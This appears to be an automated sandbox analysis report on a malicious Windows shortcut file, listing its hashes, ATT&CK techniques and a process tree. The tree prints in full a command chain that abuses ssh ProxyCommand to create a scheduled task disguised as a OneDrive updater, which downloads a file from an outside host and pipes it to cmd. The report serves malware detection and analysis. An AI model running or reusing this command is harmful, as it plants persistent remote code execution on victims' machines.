87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0

Analysis

max time kernel
93s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-09-2024 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0.lnk
Size

330KB
MD5

b221d53315f4c92b1c1f769a2d9c3045
SHA1

458f9f6a709e34dec6fa54ef824b9a98596f35e7
SHA256

87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0
SHA512

5e704b22e6d159936fd2d8f5dca0dc36a0fe92774903c24bdd19411ccb897dae2c171a1265f24c52ee757df8043144283605ec9730632a8f1fd26157251d0abf
SSDEEP

6144:B7/0aJK1pGhL2r0yDkb5rjVKU3KxfQJcEhc+g8pRIrxWqqfm8Di2SeVMSCzO+f1Z:B7/0v1kJ2Iywb53JxGE6+gKRI19pWih5

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3732	schtasks.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 4844	812	cmd.exe	83
PID 812 wrote to memory of 4844	812	cmd.exe	83
PID 4844 wrote to memory of 3408	4844	conhost.exe	84
PID 4844 wrote to memory of 3408	4844	conhost.exe	84
PID 3408 wrote to memory of 3024	3408	ssh.exe	85
PID 3408 wrote to memory of 3024	3408	ssh.exe	85
PID 3024 wrote to memory of 3732	3024	cmd.exe	86
PID 3024 wrote to memory of 3732	3024	cmd.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:812
- C:\WINDOWS\system32\conhost.exe
  "C:\WINDOWS\system32\conhost.exe" --headless ssh -o ProxyCommand="cmd /c schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr \"conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.sporcketngearforu.com/mntnnc.php?hy=UXMRPRRI_Admin & more C:\Users\Public\documents\tmp.jpg | cmd\" " .
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\System32\OpenSSH\ssh.exe
    ssh -o "ProxyCommand=cmd /c schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr \"conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.sporcketngearforu.com/mntnnc.php?hy=UXMRPRRI_Admin & more C:\Users\Public\documents\tmp.jpg | cmd\" " .
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr "conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.sporcketngearforu.com/mntnnc.php?hy=UXMRPRRI_Admin & more C:\Users\Public\documents\tmp.jpg | cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3024
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr "conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.sporcketngearforu.com/mntnnc.php?hy=UXMRPRRI_Admin & more C:\Users\Public\documents\tmp.jpg | cmd"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3732